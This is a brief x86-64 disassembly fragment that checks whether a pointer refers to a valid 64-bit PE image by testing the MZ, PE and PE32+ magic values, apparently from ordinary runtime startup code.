mov rax, qword [0x140004600]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400027bf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400027c8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret